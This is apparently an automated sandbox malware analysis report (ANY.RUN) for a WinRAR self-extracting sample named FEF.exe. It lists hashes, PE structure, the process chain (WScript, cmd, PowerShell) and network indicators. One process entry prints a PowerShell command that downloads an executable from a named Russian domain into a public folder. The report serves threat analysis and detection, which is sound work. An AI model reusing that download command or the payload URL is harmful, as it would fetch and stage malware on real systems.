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File name:

FEF.exe

Full analysis: https://app.any.run/tasks/fb5492fe-daee-4d56-92fa-ead268548013
Verdict: Malicious activity
Analysis date: June 19, 2019, 11:21:01
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

ED71AE48FB8A5711C1C537DA5434C31C

SHA1:

A09D5E6C0687B70BE6DBBB06EFA43250C86A60E0

SHA256:

F3FFB708C7F3671471599D854EB161FD5838A16AC6C75947700A41E3E464A86B

SSDEEP:

6144:Lfsd47W6Q4PGWMK/bJ7dF3vcThMPkV2zyHy:jsOW6Q4OWz9he32zyHy

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executes PowerShell scripts

      • cmd.exe (PID: 1512)

  • SUSPICIOUS

    • Executes scripts

      • FEF.exe (PID: 572)

    • Creates files in the user directory

      • powershell.exe (PID: 3400)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2488)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2018:06:24 17:04:40+02:00
PEType: PE32
LinkerVersion: 14
CodeSize: 190464
InitializedDataSize: 86016
UninitializedDataSize: -
EntryPoint: 0x1d4f9
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 24-Jun-2018 15:04:40
Detected languages:
  • English - United States
  • Process Default Language
Debug artifacts:
  • D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x00000108

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 6
Time date stamp: 24-Jun-2018 15:04:40
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x0002E7E4
0x0002E800
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.70246
.rdata
0x00030000
0x00009A8C
0x00009C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.12921
.data
0x0003A000
0x000203A0
0x00000C00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
3.23928
.gfids
0x0005B000
0x000000E8
0x00000200
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
2.0785
.rsrc
0x0005C000
0x00008478
0x00008600
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
6.21352
.reloc
0x00065000
0x00001FD0
0x00002000
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
6.68222

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.25329
1875
Latin 1 / Western European
English - United States
RT_MANIFEST
2
5.1647
4264
Latin 1 / Western European
Process Default Language
RT_ICON
3
4.83975
9640
Latin 1 / Western European
Process Default Language
RT_ICON
7
3.1586
482
Latin 1 / Western European
English - United States
RT_STRING
8
3.11685
460
Latin 1 / Western European
English - United States
RT_STRING
9
3.15447
494
Latin 1 / Western European
English - United States
RT_STRING
10
2.99727
326
Latin 1 / Western European
English - United States
RT_STRING
11
3.2036
1094
Latin 1 / Western European
English - United States
RT_STRING
12
3.12889
358
Latin 1 / Western European
English - United States
RT_STRING
13
2.95673
288
Latin 1 / Western European
English - United States
RT_STRING

Imports

KERNEL32.dll
USER32.dll (delay-loaded)
gdiplus.dll
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
37
Monitored processes
5
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start fef.exe no specs wscript.exe no specs cmd.exe no specs powershell.exe timeout.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
572"C:\Users\admin\AppData\Local\Temp\FEF.exe" C:\Users\admin\AppData\Local\Temp\FEF.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2488"C:\Windows\System32\WScript.exe" "C:\Users\Public\Downloads\mGaxnLxVddwBEMgE4r66YmxKdII4op.vbs" C:\Windows\System32\WScript.exe—FEF.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
1512cmd /c ""C:\Users\Public\Downloads\JlyjjwsNVUydSS6bFj2t.cmd" "C:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3400powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thecliper.ru/yoj1sd/8f1tpr6ig4ca7s82q8e90icpvhkohxrjzf97bqiyw2du76p6n5pq41zt/1q2feycv0v6tmv79mhcla8wr3/c7ba2dc1ed7e11ee4d4055fc0b60a43933fd7ba8.exe', 'C:\Users\Public\Downloads\c7ba2dc1ed7e11ee4d4055fc0b60a43933fd7ba8.exe')"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2552TIMEOUT /T 1 /NOBREAKC:\Windows\system32\timeout.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
timeout - pauses command processing
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
330
Read events
255
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
3400powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\09SG074X1N56K64UNHOR.temp —
MD5:—
SHA256:—
3400powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1210e0.TMPbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
3400powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:16D0FD6E07266B2C15A9D7BC6623F506
SHA256:833367DC50386D139010182CEDE41B4D055F8D463626EC4005652528B3E0871B
572FEF.exeC:\Users\Public\Downloads\JlyjjwsNVUydSS6bFj2t.cmdtext
MD5:A055AA2D4554393F59382870FE8DF5C0
SHA256:7BDBD9A2790430DFC38AB96DCC2A7BB2FB49510986227C51CBDBAFEEB0FE8CC1
572FEF.exeC:\Users\Public\Downloads\mGaxnLxVddwBEMgE4r66YmxKdII4op.vbstext
MD5:1A551CBBD3BC21C6EB74977E0D0FA672
SHA256:0990D5BC2489238CA889B05134D54193B3EEEB7C64B8CEB1C76B9E6D3B74B36C
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
1
DNS requests
4
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3400
powershell.exe
81.177.139.111:80
thecliper.ru
JSC RTComm.RU
RU
suspicious

DNS requests

Domain
IP
Reputation
thecliper.ru
  • 81.177.139.111
malicious
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

No threats detected
No debug info
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Reports
FEF.exe